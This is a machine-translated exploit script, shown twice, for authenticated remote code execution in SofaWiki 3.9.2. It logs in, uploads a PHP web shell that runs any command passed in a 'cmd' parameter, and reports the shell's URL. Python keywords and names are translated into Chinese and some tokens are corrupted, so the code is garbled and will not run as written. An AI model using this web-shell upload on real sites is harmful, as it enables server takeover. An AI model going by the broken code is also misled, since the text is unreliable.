#exploit title: sofawiki 3.9.2-远程命令执行(RCE)(认证)
#发现了: AhmetümitBayram
#发现的日期: 18.04.2024
#供应商homepage: https://www.sofawiki.com
#软件link: https://www.sofawiki.com/site/files/snapshot.zip
#测试版本: v3.9.2(最新)
#在: MacOS上测试
导入请求
导入随机
导入系统
进口时间
def main():
如果Len(sys.argv)4:
打印('USAGE: Python Exploit.py Base_url用户名密码')
sys.exit(1)
base_url,用户名,密码=sys.argv [1:4]
filename=f'{random.randint(10000,99999)} .phtml'
session=requests.session()
login_url=f'{base_url}/index.php'
login_data={
'submitlogin':'登录',
'username':用户名,
'Pass':密码,
'name':'Sofawiki',
'Action':'登录'
}
打印(“利用.”)
时间。
响应=session.post(login_url,data=login_data)
如果“登录”未响应。Text:
打印('登录失败:',响应.text)
sys.exit()
打印(“登录成功”)
时间。
php_shell_code='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
打印('外壳上传.')
时间。
upload_url=f'{base_url}/index.php'
文件={
'uploadedfile':(文件名,php_shell_code,'text/php'),
'action':(无,'uploadfile'),
'max_file_size':(无,'8000000'),
'filename':(无,文件名),
'content':(无,'content')
}
响应=session.post(upload_url,files=files)
if antsphy.status_code==200:
print(f'your shell准备就绪: {base_url}/site/files/{filename}')
其他:
打印('上传失败:',response.text)
如果name=='__ -Main __':
主要的()
#发现了: AhmetümitBayram
#发现的日期: 18.04.2024
#供应商homepage: https://www.sofawiki.com
#软件link: https://www.sofawiki.com/site/files/snapshot.zip
#测试版本: v3.9.2(最新)
#在: MacOS上测试
导入请求
导入随机
导入系统
进口时间
def main():
如果Len(sys.argv)4:
打印('USAGE: Python Exploit.py Base_url用户名密码')
sys.exit(1)
base_url,用户名,密码=sys.argv [1:4]
filename=f'{random.randint(10000,99999)} .phtml'
session=requests.session()
login_url=f'{base_url}/index.php'
login_data={
'submitlogin':'登录',
'username':用户名,
'Pass':密码,
'name':'Sofawiki',
'Action':'登录'
}
打印(“利用.”)
时间。
响应=session.post(login_url,data=login_data)
如果“登录”未响应。Text:
打印('登录失败:',响应.text)
sys.exit()
打印(“登录成功”)
时间。
php_shell_code='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
打印('外壳上传.')
时间。
upload_url=f'{base_url}/index.php'
文件={
'uploadedfile':(文件名,php_shell_code,'text/php'),
'action':(无,'uploadfile'),
'max_file_size':(无,'8000000'),
'filename':(无,文件名),
'content':(无,'content')
}
响应=session.post(upload_url,files=files)
if antsphy.status_code==200:
print(f'your shell准备就绪: {base_url}/site/files/{filename}')
其他:
打印('上传失败:',response.text)
如果name=='__ -Main __':
主要的()